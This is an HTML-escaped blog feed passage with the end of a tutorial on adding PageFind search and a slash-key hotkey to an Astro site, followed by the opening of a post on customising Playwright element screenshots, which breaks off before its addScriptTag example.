&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; PageFindSearch &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;~/components/widgets/PageFindSearch.astro&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;&amp;#x3C;!--    wherever in the page component that you want to add the search box&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;        just add it:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;PageFindSearch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;include-the-pagefind-css-and-javascript-assets-in-your-astro-project&quot;&gt;Include the PageFind CSS and JavaScript assets in your Astro project&lt;/h2&gt;
&lt;p&gt;Next, you need to include the PageFind CSS and JavaScript assets in your Astro project. They are automatically generated when you run the &lt;code&gt;pagefind&lt;/code&gt; CLI tool and are placed within your resulting client-side build directory, such as &lt;code&gt;dist/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You specifically need to add the following two head-level meta tags:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;link&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;href&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/_pagefind/pagefind-ui.css&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;rel&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;stylesheet&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/pagefind/pagefind-ui.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can do that by adding the following lines to your &lt;code&gt;src/layouts/BaseLayout.astro&lt;/code&gt; file, or any other page that you want to include the search box on and update the layout as shown in the next example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;!&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;DOCTYPE&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;motion-safe:scroll-smooth 2xl:text-[20px]&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;link&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;href&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/pagefind/pagefind-ui.css&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;rel&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;stylesheet&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/pagefind/pagefind-ui.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;		&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;update-your-packagejson-to-include-run-scripts-for-pagefind&quot;&gt;Update your package.json to include run-scripts for PageFind&lt;/h2&gt;
&lt;p&gt;Next, update your project’s &lt;code&gt;package.json&lt;/code&gt; file to include run-scripts for PageFind. These scripts need to be able to run &lt;em&gt;after&lt;/em&gt; Astro’s build process because PageFind expects to crawl a &lt;code&gt;dist/&lt;/code&gt; directory and create its search index from it.&lt;/p&gt;
&lt;p&gt;You can do that by making the following updates to your &lt;code&gt;package.json&lt;/code&gt; file’s &lt;code&gt;scripts&lt;/code&gt; configuration:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;astro build &amp;#x26;&amp;#x26; npm run postbuild &amp;#x26;&amp;#x26; astro preview&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;start&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;npm run dev&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;astro build&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;postbuild&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;pagefind --site dist/&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FFA198&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have a dedicated &lt;code&gt;postbuild&lt;/code&gt; command that generates the search index and assets for PageFind. For local development, as we want to experiment with the search box, we modified the &lt;code&gt;npm run dev&lt;/code&gt; command to split out the build process, so we can then run &lt;code&gt;postbuild&lt;/code&gt; and then fire off &lt;code&gt;astro preview&lt;/code&gt; to see the results.&lt;/p&gt;
&lt;h2 id=&quot;add-hotkey-to-focus-the-search-box&quot;&gt;Add hotkey to focus the search box&lt;/h2&gt;
&lt;p&gt;How about a cool bonus section in this blog to add a hotkey to focus the search box? This is a great way to make it easy for your website’s visitors to find what they are looking for.&lt;/p&gt;
&lt;p&gt;To make that happen, we’re going to add an event listener to the &lt;code&gt;window&lt;/code&gt; object that listens for the &lt;code&gt;/&lt;/code&gt; key. When that key is pressed, we’ll focus the search box input field.&lt;/p&gt;
&lt;p&gt;Open your &lt;code&gt;src/components/PageFind.astro&lt;/code&gt; file and add the following lines to the &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; tag:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    window.addEventListener(&apos;keydown&apos;, (event) =&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (event.key &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; event.key &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            event.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;preventDefault&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            document.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;querySelector&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;div#search input&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;focus&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll notice that I also bound the listener to the &lt;code&gt;.&lt;/code&gt; key. The reason is more of a personal preference. In a Hebrew keyboard layout, the &lt;code&gt;/&lt;/code&gt; key is located on the same key as the &lt;code&gt;.&lt;/code&gt; key, which means that if I’m on Hebrew input mode then I may press the &lt;code&gt;.&lt;/code&gt; key. So I added the &lt;code&gt;.&lt;/code&gt; key as a fallback and basically made it so that the search box will be focused whenever the &lt;code&gt;/&lt;/code&gt; or &lt;code&gt;.&lt;/code&gt; key is pressed.&lt;/p&gt;
&lt;h2 id=&quot;build-your-astro-project-with-search&quot;&gt;Build your Astro project with Search&lt;/h2&gt;
&lt;p&gt;That’s it!&lt;/p&gt;
&lt;p&gt;Now you can build your Astro project and see the search box in action. You can also try out the hotkey to focus the search box.&lt;/p&gt;
&lt;p&gt;Here is a video of how it looks like on my website:&lt;/p&gt;
&lt;video width=&quot;100%&quot; controls&gt;
  &lt;source src=&quot;/images/blog/pagefind-on-astro.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;</content:encoded></item><item><title>Advanced usage patterns for taking page element screenshots with Playwright</title><link>https://lirantal.com/blog/advanced-usage-patterns-for-taking-page-element-screenshots-with-playwright/</link><guid>https://lirantal.com/blog/advanced-usage-patterns-for-taking-page-element-screenshots-with-playwright/</guid><description>In this post, I will show you some advanced usage patterns for working with Playwright in order to take a screenshot of a specific element and modify the contents of the image, either before taking the screenshot or after, using image preprocessing tools.</description><pubDate>Sun, 15 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Using Playwright to take screenshots is a handy tool, whether you are
practicing visual regression testing or crawling a 3rd-party webpage
to take a screenshot.&lt;/p&gt;
&lt;p&gt;However, what if you needed to customize the screenshot, such as
remove items in an element that are part of the screenshot? depending
on the page structure, you might not be able to exclude the items as
they are part of the parent element.&lt;/p&gt;
&lt;p&gt;In this post, I will show you some advanced usage patterns for working
with Playwright in order to take a screenshot of a specific element and
modify the contents of the image, either before taking the screenshot
or after, using image preprocessing tools.&lt;/p&gt;
&lt;p&gt;We’ll learn and use &lt;a href=&quot;https://playwright.dev/&quot;&gt;Playwright&lt;/a&gt;, and
&lt;a href=&quot;https://snyk.io/advisor/npm-package/sharp&quot;&gt;Sharp&lt;/a&gt; to do so.&lt;/p&gt;
&lt;p&gt;Let’s get started with programatically taking screenshots!&lt;/p&gt;
&lt;h2 id=&quot;taking-screenshots-with-playwright-testing-framework&quot;&gt;Taking screenshots with Playwright testing framework&lt;/h2&gt;
&lt;p&gt;The Playwright documentation is pretty well built to communicate and explain
&lt;a href=&quot;https://playwright.dev/docs/screenshots#full-page-screenshots&quot;&gt;how to take screenshots&lt;/a&gt; of a page.
It’s as simple as the following API call:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;screenshot.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The documentation even covers how to specifically take a screenshot of a
specific element, such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;locator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;screenshot.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So let’s take this knowledge and apply it to a real-world example.&lt;/p&gt;
&lt;p&gt;Consider the following &lt;a href=&quot;https://snyk.io/advisor/npm-package/playwright&quot;&gt;Snyk Advisor&lt;/a&gt; web page for the Playwright package:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/2022-12-31-23-18-07.png&quot; alt=&quot;Playwright npm package information page on the Snyk Advisor&quot;&gt;&lt;/p&gt;
&lt;p&gt;We want to capture a screenshot for the &lt;code&gt;Popularity&lt;/code&gt; section, denoted by the (1) annotation in the picture above.&lt;/p&gt;
&lt;p&gt;However, we don’t want to capture the three text paragraphs denoted by the (2) annotations.
Yet, from an HTML DOM structure perspective, these are part of the parent element, so we can’t just exclude them from the screenshot.&lt;/p&gt;
&lt;p&gt;Consider the following test case that uses Playwright to take a screenshot of the &lt;code&gt;Popularity&lt;/code&gt; section:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test, expect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@playwright/test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;take screenshot of element&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;goto&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://snyk.io/advisor/npm-package/playwright&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// run some sanity to make sure we&apos;re capturing the right page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(page).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toHaveTitle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/playwright/&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;ig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;element&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;locator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#popularity&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; element.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;package-popularity.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s get started with some advanced usage patterns for taking an element’s screenshot with Playwright,
but in a customized way where we can control the contents of the screenshot.&lt;/p&gt;
&lt;h2 id=&quot;using-playwrights-addscripttag-to-modify-the-dom-before-taking-the-screenshot&quot;&gt;Using Playwright’s addScriptTag to modify the DOM before taking the screenshot&lt;/h2&gt;
&lt;p&gt;Playwright provides a way to inject JavaScript code into the page before taking the screenshot.
Whether you want to modify the DOM, or just add some CSS to the page, you can do so using the &lt;code&gt;addScriptTag&lt;/code&gt; API.
The API is documented &lt;a href=&quot;https://playwright.dev/docs/api/class-page#pages-addscripttagoptions&quot;&gt;here&lt;/a&gt; and provides
the ability to both specify a path to a JavaScript file, or to specify the JavaScript code inline.&lt;/p&gt;
&lt;p&gt;Specifying the contents of the JavaScript code is going to be a handy way to hack this example in order
to DOM before taking the screenshot.&lt;/p&gt;
&lt;p&gt;Let’s build on the above example to take a screenshot of the &lt;code&gt;Popularity&lt;/code&gt; section, but this time, we’ll
be injecting a JavaScript code that will hide the three paragraphs that we don’t want to capture:&lt;/p&gt;
